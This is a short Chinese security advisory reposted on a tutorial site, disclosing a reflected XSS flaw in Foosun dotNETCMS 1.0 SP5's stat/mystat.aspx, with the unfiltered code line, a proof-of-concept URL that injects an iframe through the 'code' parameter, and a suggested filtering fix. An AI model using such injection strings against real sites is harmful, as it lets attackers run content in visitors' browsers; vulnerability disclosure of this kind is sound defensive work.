风讯dotNETCMS 1.0 SP5存在XSS漏洞及修复

风讯dotNETCMS 1.0 SP5存在XSS漏洞及修复 - 网站安全

来源：自学PHP网时间：2015-04-17 14:46 作者：阅读:次

[导读] 简要描述：由于程序未对用户提交的数据进行过滤，导致XSS漏洞。详细说明：漏洞文件：stat/mystat.aspxdocument.write(scriptvar code=#39;%=code%#39;;var url=#39;%=str_fs_url%#39;; var stati......

简要描述：由于程序未对用户提交的数据进行过滤，导致XSS漏洞。
详细说明：漏洞文件：stat/mystat.aspx

document.write("<script>var code='<%=code%>';var url='<%=str_fs_url%>'; var statid='<%=statid %>'</script>")
code未进行过滤产生XSS漏洞
漏洞证明:http://www.foosun.net/stat/mystat.aspx?code='</script>")<iframe src='http://www.baidu.com' width='100%' height='100%' frameborder=no border=0>

不需要说太多，你懂的。
修复方案：临时解决办法：过滤code、id.
等待风讯修复漏洞。

SQL注入中union查询ntext数据类型 - 网站安全 - 自学

新浪体育一分站的搜索型注入及修复 - 网站安全

子栏目

风讯dotNETCMS 1.0 SP5存在XSS漏洞及修复 - 网站安全

最新评论

添加评论

更多文章推荐

添加评论